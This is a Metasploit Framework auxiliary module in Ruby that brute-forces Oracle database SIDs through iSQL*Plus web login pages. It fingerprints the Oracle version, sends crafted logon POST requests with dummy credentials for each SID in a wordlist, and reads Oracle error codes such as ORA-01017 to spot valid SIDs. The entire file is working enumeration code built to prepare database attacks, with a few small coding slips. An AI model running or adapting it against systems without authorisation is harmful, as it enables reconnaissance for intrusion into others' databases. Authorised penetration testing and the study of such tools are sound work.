## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/Framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report def initialize super( 'Name' => 'Oracle isqlplus SID Check', 'Version' => '$Revision$', 'Description' => %q{ This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus login pages. It does this by testing Oracle error responses returned in the HTTP response. Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error. Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to fingerprint the version and automatically select the correct POST request. }, 'References' => [ [ 'URL', 'http://carnal0wnage.attackresearch.com' ], ], 'Author' => [ 'CG', 'todb' ], 'License' => MSF_LICENSE ) register_options([ Opt::RPORT(5560), OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']), OptString.new('SID', [ false, 'A single SID to test']), OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]), OptBool.new('VERBOSE', [ true, 'Display incorrect SIDs as they are guessed', true ]), OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30]) ], self.class) deregister_options( "RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE", "BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE", "BRUTEFORCE_SPEED" # Slow as heck anyway ) end def sid_file datastore['SIDFILE'] end def hostport [target_host,rport].join(":") end def uri datastore['URI'] || "/isqlplus/" end def timeout (datastore['TIMEOUT'] || 30).to_i end def msg msg = "#{hostport} - Oracle iSQL*Plus -" end def run_host(ip) oracle_ver = get_oracle_version(ip) if not check_oracle_version(oracle_ver) print_error "#{msg} Unknown Oracle version, skipping." return end begin print_status("#{msg} Starting SID check") sid_data.each do |sid| guess = check_oracle_sid(ip,oracle_ver,sid) return if guess and datastore['STOP_ON_SUCCESS'] end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e print_error "#{msg} Cannot connect" rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e print_error e.message end end def get_oracle_version(ip) begin res = send_request_cgi({ 'version' => '1.1', 'uri' => uri, 'method' => 'GET', }, timeout) oracle_ver = nil if (res.nil?) print_error("#{msg} no response") elsif (res.code == 200) print_status("#{msg} Received an HTTP #{res.code}") oracle_ver = detect_oracle_version(res) elsif (res.code == 404) print_error("#{msg} Received an HTTP 404, check URIPATH") elsif (res.code == 302) print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}") else print_error("#{msg} Received an HTTP #{res.code}") end return oracle_ver rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e print_error "#{msg} Cannot connect" end end def detect_oracle_version(res) m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/) oracle_ver = nil oracle_ver = 10 if m[1] && m[1] =~ /10/ oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/ if oracle_ver print_status("#{msg} Detected Oracle version #{oracle_ver}") print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1 else print_error("#{msg} Unknown Oracle version detected.") end return oracle_ver end def check_oracle_version(ver) [9.0,9.1,9.2,10].include? ver end def build_post_request(ver,sid) post_request = nil case ver when 9.0 post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC" when 9.1 post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login" when 9.2 post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login" when 10 post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login" end return post_request end def parse_isqlplus_response(res,sid) guess = false if (res.nil?) print_error("#{msg} No response") elsif (res.code == 200) if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/) if sid.nil? || sid.empty? print_good("#{msg} Recieved ORA-01017 on a blank SID -- SIDs are not enforced upon login.") else print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'") end guess = true elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/) print_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})") if datastore['VERBOSE'] elsif res.body =~ /(ORA-12541):/ print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.") guess = true else print_status("#{msg} Received an unknown error") # Should say what the error was end elsif (res.code == 404) print_status("#{msg} Received an HTTP 404, check URIPATH") elsif (res.code == 302) print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}") else print_status("#{msg} Received an unexpected response: #{res.code}") end report_isqlplus_service(target_host,res) if res return guess end def report_isqlplus_service(ip,res) sname = datastore['SSL'] ? 'https' : 'http' report_service( :host => ip, :proto => 'tcp', :port => rport, :name => sname, :info => res.headers["Server"].to_s.strip ) end def report_oracle_sid(ip,sid) report_note( :host => ip, :proto => 'tcp', :port => rport, :type => "oracle.sid", :data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid), :update => :unique_data ) end def sid_data if datastore['SID'] and not datastore['SID'].empty? [datastore['SID']] elsif sid_file and ::File.readable? sid_file ::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq else raise ArugmentError, "Cannot read file '#{sid_file}'" end end def check_oracle_sid(ip,oracle_ver,sid) post_request = build_post_request(oracle_ver,sid) print_status "#{msg} Trying SID '#{sid}', waiting for response..." if datastore['VERBOSE'] res = send_request_cgi({ 'version' => '1.1', 'uri' => uri, 'method' => 'POST', 'data' => post_request, 'headers' => { 'Referer' => "http://#{ip}:#{rport}#{uri}" } }, timeout) guess = parse_isqlplus_response(res,sid) report_oracle_sid(ip,sid) if guess return guess end end